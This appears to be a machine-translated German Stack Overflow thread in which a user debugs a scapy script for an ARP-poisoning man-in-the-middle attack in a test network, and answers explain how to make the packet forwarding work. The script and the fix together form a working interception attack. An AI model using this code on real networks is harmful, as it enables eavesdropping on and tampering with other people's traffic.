2012-09-30 14 views
11

Ich versuche, einen Mann in der Mitte Angriff mit scapy in einem Test-Netzwerk zu tun. Mein Setup ist wie folgt: enter image description hereMann in der Mitte Angriff mit scapy

Jetzt, wo Sie auf die Idee, hier ist der Code:

from scapy.all import * 
import multiprocessing 
import time 
class MITM: 
    packets=[] 
    def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71"),node2=("192.168.116.1", "00:50:56:c0:00:08")): 
    self.victim=victim 
    self.node2=node2 
    multiprocessing.Process(target=self.arp_poison).start() 
    try: 
     sniff(filter='((dst %s) and (src %s)) or ((dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x)) 
    except KeyboardInterrupt as e: 
     wireshark(packets) 
    #self.arp_poison() 
    def routep(self,packet): 
    if packet.haslayer(IP): 
     packet.show() 
     if packet[IP].dst==self.victim[0]: 
     packet[Ether].src=packet[Ether].dst 
     packet[Ether].dst=self.victim[1] 
     elif packet[IP].dst==self.node2[0]: 
     packet[Ether].src=packet[Ether].dst 
     packet[Ether].dst=self.node2[1] 
     self.packets.append(packet) 
     packet.display() 
     send(packet) 
     print len(self.packets) 
     if len(self.packets)==10: 
     wireshark(self.packets) 
    def arp_poison(self): 
    a=ARP() 
    a.psrc=self.victim[0] 
    a.pdst=self.node2[0] 
    b=ARP() 
    b.psrc=self.node2[0] 
    b.pdst=self.victim[0] 
    cond=True 
    while cond: 
     send(b) 
     send(a) 
     time.sleep(5) 
     #cond=False 
if __name__=="__main__": 
    mitm=MITM() 

Dieser Code auf dem VM2 läuft.

Arp-Vergiftung funktioniert gut, ich überprüfe die ARP-Caches beider Maschinen und das Verhalten ist wie erwartet. Aber im Innern routep ich die src und dst MAC-Adresse ändern und versuchen, das empfangene Paket zu entsprechender Host zu senden, gibt scapy eine Warnung:

WARNING: more Mac address to reach destination not found. Using broadcast 

Und ich sehe in den wireshark auf VM2 die modifizierten Pakete nicht verlassen Die Maschine. Warum sollte das so sein? Fehle ich etwas?

+1

Ich denke, du bist vorbei, es zu verkomplizieren. Sie müssen nur gefälschte ARP-Antworten an das Subnetz senden und die IP-Weiterleitung auf Ihrem Computer aktivieren. http://www.secdev.org/projects/scapy/doc/usage.html#arp-cache-poisoning – tMC

+0

Könnte es sein, dass Sie scapy explizit mitteilen müssen, dass Sie Frames einschließlich MAC-Ebene senden und empfangen möchten? –

Antwort

1

Wenn Sie scapy send() verwenden, funktioniert es auf der dritten Schicht. Aus scapys Dokumentation:

Die send() - Funktion wird Pakete auf Schicht 3 senden. Das heißt, es wird Routing und Layer 2 für Sie behandeln. Die sendp() Funktion wird auf Schicht arbeiten 2.

Wenn Sie sendp() verwenden waren, wird es nicht die Standardwerte für die Mac-Ziel verwenden Adresse und Ihr warning'll verschwunden sein.